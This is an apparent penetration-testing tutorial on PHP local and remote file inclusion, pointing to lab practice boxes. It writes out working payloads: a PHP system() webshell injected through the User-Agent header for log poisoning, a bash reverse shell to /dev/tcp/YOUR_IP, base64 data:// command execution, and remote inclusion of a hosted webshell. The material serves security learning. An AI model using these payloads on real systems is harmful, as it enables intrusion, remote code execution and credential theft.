Read vs Execute
Directory traversal lets you read a file. File inclusion lets you execute it.
When a PHP application uses include() with user-controlled input, it doesn’t just display the file. It runs it as code.
| Directory Traversal | File Inclusion | |
|---|---|---|
?page=admin.php | Shows the source code | Runs the PHP code |
?page=/etc/passwd | Shows the contents | Shows the contents (no PHP to run) |
| Goal | Information disclosure | Code execution |
File inclusion is directory traversal with a code execution upgrade. Same
../technique, dramatically different impact.
Local File Inclusion (LFI)
LFI means including a file that already exists on the server and having it execute as code.
The question is: if you can’t upload files, how do you get your code onto the server?
There are three main approaches:
- Log poisoning - inject code into a log file, then include it
- PHP wrappers - use built-in PHP protocols to inject or read code
- Remote file inclusion - include a file from your server
Log Poisoning
Apache logs every HTTP request, including the User-Agent header. That header is fully controlled by you.
The log file lives at /var/log/apache2/access.log. The web server can read it. If the web server can also include it…
Step 1: Poison the Log
In Burp Repeater, modify the User-Agent header to contain PHP code:
User-Agent: <?php echo system($_GET['cmd']); ?> Send the request. Apache writes this to access.log. Your PHP code is now sitting in a file on the server.
Step 2: Include the Log
Use the LFI vulnerability to include the poisoned log:
?page=../../../../var/log/apache2/access.log&cmd=id When the server includes access.log, it hits the <?php tag and executes it. The cmd parameter runs id and returns the output.
Step 3: Get a Shell
Once you have command execution, upgrade to a reverse shell:
?page=../../../../var/log/apache2/access.log&cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' URL-encode special characters if the raw payload doesn’t work.
Log Poisoning Pitfalls
Watch out for these:
- One shot. If your injected PHP has a syntax error, the log is broken. Every future include will fail. Be precise.
- Remove the User-Agent after poisoning. If you keep sending requests with the PHP tag, you get multiple copies in the log causing multiple executions.
- Other logs work too. SSH logs (
/var/log/auth.log), mail logs, and error logs are all potential targets.
Poison carefully. A broken PHP tag in the log can ruin the entire attack vector. Test your payload syntax before injecting.
PHP Wrappers
PHP has built-in stream wrappers that change how files are accessed. Two are critical for pentesting.
php://filter
Reads a file with optional encoding. This lets you view PHP source code that would normally be executed.
?page=php://filter/convert.base64-encode/resource=admin.php - Without the filter:
admin.phpgets executed, you see HTML output - With
convert.base64-encode: server returns the raw source as base64
Decode it:
echo "PCFET0NUWVBFIGh0bWw..." | base64 -dWhat you find in source code:
- Hardcoded database credentials (connection strings, passwords)
- API keys and secrets
- Application logic flaws (authentication bypasses, hidden parameters)
- Other included files worth investigating
php://filter is your source code reader. Even when you can’t get direct code execution, reading the source often reveals credentials that give you access anyway.
data://
Embeds data directly into the include. This lets you execute arbitrary PHP without any file on disk.
Simple execution:
?page=data://text/plain,<?php echo system('ls');?> Base64 encoded (bypasses filters that block system or <?php):
# Encode the payload
echo -n '<?php echo system($_GET["cmd"]);?>' | base64Then use it:
?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=whoami Important: data:// requires allow_url_include = On in php.ini. This is disabled by default, but misconfigurations exist.
Remote File Inclusion (RFI)
Instead of finding a file on the target to include, you include a file from your own server. No log poisoning. No wrappers. Just host the payload and the target fetches it.
The Attack
1. Host a webshell on your machine:
# Kali has webshells at /usr/share/webshells/php/
python3 -m http.server 802. Include it via the vulnerable parameter:
?page=http://YOUR_IP/simple-backdoor.php&cmd=whoami The target server fetches your file over HTTP and executes it. Instant RCE without needing log poisoning or encoding tricks.
Requirements
RFI requires allow_url_include = On in php.ini. This is disabled by default, making RFI less common than LFI.
But when it works, it’s the fastest path to a shell:
- No file creation needed
- No log poisoning
- No encoding tricks
- Works on first try
Always test for RFI before trying complex LFI chains. If
allow_url_includeis on, you save yourself a lot of work.
LFI on Windows
The concepts are identical, but paths differ:
| What | Linux | Windows |
|---|---|---|
| Apache logs | /var/log/apache2/access.log | C:\xampp\apache\logs\access.log |
| Web root | /var/www/html/ | C:\inetpub\wwwroot\ or C:\xampp\htdocs\ |
| Config | /etc/php/php.ini | C:\xampp\php\php.ini |
The PHP webshell code works the same on both operating systems. For reverse shells on Windows, use PowerShell instead of bash.
Beyond PHP
File inclusion isn’t PHP-only. The same concept exists in other server-side languages:
| Language | Include mechanism |
|---|---|
| PHP | include(), require(), include_once() |
| JSP | <jsp:include>, <c:import> |
| ASP | Response.WriteFile(), Server.Execute() |
| Node.js | require(), fs.readFile() |
The exploitation technique is the same: find user-controlled input that gets passed to a file inclusion function. PHP is just the most common target because older PHP apps are everywhere.
Testing Checklist
- Find file parameters in URLs, POST data, and cookies
- Test for directory traversal first (
../../../../etc/passwd) - Check if it’s LFI: include a known PHP file. Does it execute or show source?
- Try php://filter to read application source code
- Try data:// for direct code injection (needs
allow_url_include) - Try RFI by including a file from your server (needs
allow_url_include) - If wrappers fail, try log poisoning (User-Agent into access.log)
- Get a reverse shell once you have command execution
Work from easiest to hardest. RFI is instant.
data://is quick. Log poisoning takes more setup. Try them in that order.
Practice Boxes
- Beep - LFI in a CRM app leaks credentials leading to root
- Nineveh - LFI with a keyword bypass leading to code execution
- Poison - LFI reads an encoded password file leading to SSH access
- Inclusion - Dedicated LFI and path traversal challenges
- File Inclusion - Covers LFI, RFI, and directory traversal